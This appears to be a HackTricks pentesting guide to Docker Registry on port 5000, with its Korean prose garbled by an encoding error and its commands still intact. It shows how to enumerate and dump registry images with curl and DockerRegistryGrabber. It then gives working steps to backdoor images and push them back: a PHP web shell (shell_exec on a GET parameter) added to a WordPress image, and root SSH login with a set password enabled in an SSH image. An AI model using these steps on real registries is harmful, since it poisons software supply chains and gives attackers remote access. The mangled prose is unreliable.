5000 - Pentesting Docker Registry
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.
๊ธฐ๋ณธ ์ ๋ณด
Docker registry๋ ์ด๋ฆ์ด ์ง์ ๋ Docker ์ด๋ฏธ์ง์ ์ ์ฅ ๋ฐ ๋ฐฐํฌ ์์คํ ์ผ๋ก, ์ฌ๋ฌ ๋ฒ์ ์ด ํ๊ทธ๋ก ๊ตฌ๋ถ๋ ์ ์์ต๋๋ค. ์ด๋ฌํ ์ด๋ฏธ์ง๋ ๋ ์ง์คํธ๋ฆฌ ๋ด์ Docker repositories์ ์กฐ์ง๋์ด ์์ผ๋ฉฐ, ๊ฐ ๋ฆฌํฌ์งํ ๋ฆฌ๋ ํน์ ์ด๋ฏธ์ง์ ๋ค์ํ ๋ฒ์ ์ ์ ์ฅํฉ๋๋ค. ์ ๊ณต๋๋ ๊ธฐ๋ฅ์ ํตํด ์ฌ์ฉ์๋ ํ์ํ ๊ถํ์ด ์๋ ๊ฒฝ์ฐ ์ด๋ฏธ์ง๋ฅผ ๋ก์ปฌ๋ก ๋ค์ด๋ก๋ํ๊ฑฐ๋ ๋ ์ง์คํธ๋ฆฌ์ ์ ๋ก๋ํ ์ ์์ต๋๋ค.
DockerHub๋ Docker์ ๊ธฐ๋ณธ ๊ณต๊ฐ ๋ ์ง์คํธ๋ฆฌ๋ก ์ฌ์ฉ๋์ง๋ง, ์ฌ์ฉ์๋ ์คํ ์์ค Docker registry/distribution์ ์จํ๋ ๋ฏธ์ค ๋ฒ์ ์ ์ด์ํ๊ฑฐ๋ ์์ ์ ์ผ๋ก ์ง์๋๋ Docker Trusted Registry๋ฅผ ์ ํํ ์๋ ์์ต๋๋ค. ๋ํ, ๋ค์ํ ๋ค๋ฅธ ๊ณต๊ฐ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์จ๋ผ์ธ์์ ์ฐพ์ ์ ์์ต๋๋ค.
์จํ๋ ๋ฏธ์ค ๋ ์ง์คํธ๋ฆฌ์์ ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๋ ค๋ฉด ๋ค์ ๋ช ๋ น์ ์ฌ์ฉํฉ๋๋ค:
docker pull my-registry:9000/foo/bar:2.1
์ด ๋ช
๋ น์ my-registry ๋๋ฉ์ธ์ ํฌํธ 9000์ ์๋ ์จํ๋ ๋ฏธ์ค ๋ ์ง์คํธ๋ฆฌ์์ foo/bar ์ด๋ฏธ์ง ๋ฒ์ 2.1์ ๊ฐ์ ธ์ต๋๋ค. ๋ฐ๋๋ก, 2.1์ด ์ต์ ๋ฒ์ ์ธ ๊ฒฝ์ฐ DockerHub์์ ๋์ผํ ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๋ ค๋ฉด ๋ช
๋ น์ด ๋ค์๊ณผ ๊ฐ์ด ๊ฐ๋จํด์ง๋๋ค:
docker pull foo/bar
๊ธฐ๋ณธ ํฌํธ: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
๋ฐ๊ฒฌ
์ด ์๋น์ค๋ฅผ ๋ฐ๊ฒฌํ๋ ๊ฐ์ฅ ์ฌ์ด ๋ฐฉ๋ฒ์ nmap์ ์ถ๋ ฅ์์ ํ์ธํ๋ ๊ฒ์
๋๋ค. ์ด์จ๋ , HTTP ๊ธฐ๋ฐ ์๋น์ค์ด๊ธฐ ๋๋ฌธ์ HTTP ํ๋ก์ ๋ค์ ์์ ์ ์์ผ๋ฉฐ nmap์ด ์ด๋ฅผ ๊ฐ์งํ์ง ๋ชปํ ์ ์์ต๋๋ค.
์ผ๋ถ ์ง๋ฌธ:
/์ ์ ๊ทผํ๋ฉด ์๋ต์ ์๋ฌด๊ฒ๋ ๋ฐํ๋์ง ์์ต๋๋ค./v2/์ ์ ๊ทผํ๋ฉด{}๊ฐ ๋ฐํ๋ฉ๋๋ค./v2/_catalog์ ์ ๊ทผํ๋ฉด ๋ค์์ ์ป์ ์ ์์ต๋๋ค:{"repositories":["alpine","ubuntu"]}{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
์ด๊ฑฐ
HTTP/HTTPS
Docker registry๋ HTTP ๋๋ HTTPS๋ฅผ ์ฌ์ฉํ๋๋ก ๊ตฌ์ฑ๋ ์ ์์ต๋๋ค. ๋ฐ๋ผ์ ๊ฐ์ฅ ๋จผ์ ํด์ผ ํ ์ผ์ ์ด๋ค ๊ฒ์ด ๊ตฌ์ฑ๋์ด ์๋์ง ์ฐพ๋ ๊ฒ์ ๋๋ค:
curl -s http://10.10.10.10:5000/v2/_catalog
#If HTTPS
Warning: Binary output can mess up your terminal. Use "--output -" to tell
Warning: curl to output it to your terminal anyway, or consider "--output
Warning: <FILE>" to save to a file.
#If HTTP
{"repositories":["alpine","ubuntu"]}
์ธ์ฆ
Docker registry๋ ์ธ์ฆ์ ์๊ตฌํ๋๋ก ๊ตฌ์ฑํ ์๋ ์์ต๋๋ค:
curl -k https://192.25.197.3:5000/v2/_catalog
#If Authentication required
{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required
{"repositories":["alpine","ubuntu"]}
Docker Registry๊ฐ ์ธ์ฆ์ ์๊ตฌํ๋ ๊ฒฝ์ฐ ์ด ๋ฐฉ๋ฒ์ผ๋ก ๋ฌด์ฐจ๋ณ ๋์
๊ณต๊ฒฉ์ ์๋ํ ์ ์์ต๋๋ค.
์ ํจํ ์๊ฒฉ ์ฆ๋ช
์ ์ฐพ์ผ๋ฉด ์ด๋ฅผ ์ฌ์ฉํ์ฌ ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์ด๊ฑฐํด์ผ ํ๋ฉฐ, curl์์๋ ๋ค์๊ณผ ๊ฐ์ด ์ฌ์ฉํ ์ ์์ต๋๋ค:
curl -k -u username:password https://10.10.10.10:5000/v2/_catalog
Enumeration using DockerRegistryGrabber
DockerRegistryGrabber๋ ๋์ปค ๋ ์ง์คํธ๋ฆฌ๋ฅผ ์ด๊ฑฐํ๊ฑฐ๋ ๋คํํ๋ ํ์ด์ฌ ๋๊ตฌ์ ๋๋ค (๊ธฐ๋ณธ ์ธ์ฆ ์์ด ๋๋ ๊ธฐ๋ณธ ์ธ์ฆ๊ณผ ํจ๊ป).
usage: drg.py [-h] [-p port] [-U USERNAME] [-P PASSWORD] [-A header] [--list | --dump_all | --dump DOCKERNAME] url
____ ____ ____
| _ \ | _ \ / ___|
| | | || |_) || | _
| |_| || _ < | |_| |
|____/ |_| \_\ \____|
Docker Registry grabber tool v2
by @SyzikSecu
positional arguments:
url URL
options:
-h, --help show this help message and exit
-p port port to use (default : 5000)
Authentication:
-U USERNAME Username
-P PASSWORD Password
-A header Authorization bearer token
Actions:
--list
--dump_all
--dump DOCKERNAME DockerName
Example commands:
python drg.py http://127.0.0.1 --list
python drg.py http://127.0.0.1 --dump my-ubuntu
python drg.py http://127.0.0.1 --dump_all
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --list
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump my-ubuntu
python drg.py https://127.0.0.1 -U 'testuser' -P 'testpassword' --dump_all
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --list
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump my-ubuntu
python drg.py https://127.0.0.1 -A '<Auth BEARER TOKEN>' --dump_all
python3 DockerGraber.py http://127.0.0.1 --list
[+] my-ubuntu
[+] my-ubuntu2
python3 DockerGraber.py http://127.0.0.1 --dump my-ubuntu
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
python3 DockerGraber.py http://127.0.0.1 --dump_all
[+] my-ubuntu
[+] my-ubuntu2
[+] blobSum found 5
[+] Dumping my-ubuntu
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
[+] blobSum found 5
[+] Dumping my-ubuntu2
[+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4
[+] Downloading : b39e2761d3d4971e78914857af4c6bd9989873b53426cf2fef3e76983b166fa2
[+] Downloading : c8ee6ca703b866ac2b74b6129d2db331936292f899e8e3a794474fdf81343605
[+] Downloading : c1de0f9cdfc1f9f595acd2ea8724ea92a509d64a6936f0e645c65b504e7e4bc6
[+] Downloading : 4007a89234b4f56c03e6831dc220550d2e5fba935d9f5f5bcea64857ac4f4888
curl์ ์ด์ฉํ ์ด๊ฑฐ
ํ ๋ฒ docker registry์ ์ ๊ทผ์ ์ป์๋ค๋ฉด, ์ด๊ฑฐํ๋ ๋ฐ ์ฌ์ฉํ ์ ์๋ ๋ช ๊ฐ์ง ๋ช ๋ น์ด๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค:
#List repositories
curl -s http://10.10.10.10:5000/v2/_catalog
{"repositories":["alpine","ubuntu"]}
#Get tags of a repository
curl -s http://192.251.36.3:5000/v2/ubuntu/tags/list
{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}
#Get manifests
curl -s http://192.251.36.3:5000/v2/ubuntu/manifests/latest
{
"schemaVersion": 1,
"name": "ubuntu",
"tag": "latest",
"architecture": "amd64",
"fsLayers": [
{
"blobSum": "sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"
},
{
"blobSum": "sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"
},
{
"blobSum": "sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"
}
],
"history": [
{
"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},
{
"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},
{
"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}
],
"signatures": [
{
"header": {
"jwk": {
"crv": "P-256",
"kid": "DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX",
"kty": "EC",
"x": "leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg",
"y": "Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"
},
"alg": "ES256"
},
"signature": "GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q",
"protected": "eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"
}
]
}
#Download one of the previously listed blobs
curl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blob
tar -xf blob1.tar #After this,inspect the new folders and files created in the current directory
Warning
blobs ํ์ผ๊ณผ ํด๋๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์์ถ์ ํ๋ฉด ํ์ฌ ๋๋ ํ ๋ฆฌ์ ๋ํ๋ฉ๋๋ค. ๋ชจ๋ blobs๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ๋์ผํ ํด๋์ ์์ถ์ ํ๋ฉด ์ด์ ์ ์์ถ์ ํผ blobs์ ๊ฐ์ด ๋ฎ์ด์ฐ์ฌ์ง๋ฏ๋ก ์ฃผ์ํ์ญ์์ค. ๊ฐ blob์ ์ ํํ ๋ด์ฉ์ ๊ฒ์ฌํ๊ธฐ ์ํด ๊ฐ blob์ ๋ค๋ฅธ ํด๋ ์์ ์์ถ์ ํธ๋ ๊ฒ์ด ํฅ๋ฏธ๋ก์ธ ์ ์์ต๋๋ค.
docker๋ฅผ ์ฌ์ฉํ ์ด๊ฑฐ
#Once you know which images the server is saving (/v2/_catalog) you can pull them
docker pull 10.10.10.10:5000/ubuntu
#Check the commands used to create the layers of the image
docker history 10.10.10.10:5000/ubuntu
#IMAGE CREATED CREATED BY SIZE COMMENT
#ed05bef01522 2 years ago ./run.sh 46.8MB
#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B
#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B
#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B
#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59โฆ 16.2MB
#Run and get a shell
docker run -it 10.10.10.10:5000/ubuntu bash #Leave this shell running
docker ps #Using a different shell
docker exec -it 7d3a81fe42d7 bash #Get ash shell inside docker container
WordPress ์ด๋ฏธ์ง์ ๋ฐฑ๋์ด ์ถ๊ฐํ๊ธฐ
Docker Registry์์ WordPress ์ด๋ฏธ์ง๋ฅผ ๋ฐ๊ฒฌํ ๊ฒฝ์ฐ, ๋ฐฑ๋์ด๋ฅผ ์ถ๊ฐํ ์ ์์ต๋๋ค.
๋ฐฑ๋์ด๋ฅผ ์์ฑํ์ธ์:
<?php echo shell_exec($_GET["cmd"]); ?>
Dockerfile๋ฅผ ์์ฑํฉ๋๋ค:
FROM 10.10.10.10:5000/wordpress
COPY shell.php /app/
RUN chmod 777 /app/shell.php
์๋ก์ด ์ด๋ฏธ์ง๋ฅผ ์์ฑํ๊ณ , ์์ฑ๋์๋์ง ํ์ธํ ํ, ํธ์ํฉ๋๋ค:
docker build -t 10.10.10.10:5000/wordpress .
#Create
docker images
docker push registry:5000/wordpress #Push it
SSH ์๋ฒ ์ด๋ฏธ์ง์ ๋ฐฑ๋์ด ์ถ๊ฐํ๊ธฐ
Docker Registry์์ SSH ์ด๋ฏธ์ง๋ฅผ ๋ฐ๊ฒฌํ๋ค๊ณ ๊ฐ์ ํ๊ณ , ์ด๋ฅผ ๋ฐฑ๋์ด ์ถ๊ฐํ๊ณ ์ถ์ต๋๋ค.
์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์คํํฉ๋๋ค:
docker pull 10.10.10.10:5000/sshd-docker-cli
docker run -d 10.10.10.10:5000/sshd-docker-cli
SSH ์ด๋ฏธ์ง๋ฅผ ํตํด sshd_config ํ์ผ์ ์ถ์ถํฉ๋๋ค:
docker cp 4c989242c714:/etc/ssh/sshd_config .
PermitRootLogin yes๋ก ์ค์ ํ๋๋ก ์์ ํฉ๋๋ค.
๋ค์๊ณผ ๊ฐ์ Dockerfile์ ๋ง๋ญ๋๋ค:
FROM 10.10.10.10:5000/sshd-docker-cli
COPY sshd_config /etc/ssh/
RUN echo root:password | chpasswd
์๋ก์ด ์ด๋ฏธ์ง๋ฅผ ์์ฑํ๊ณ , ์์ฑ๋์๋์ง ํ์ธํ ํ, ํธ์ํฉ๋๋ค:
docker build -t 10.10.10.10:5000/sshd-docker-cli .
#Create
docker images
docker push registry:5000/sshd-docker-cli #Push it
References
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


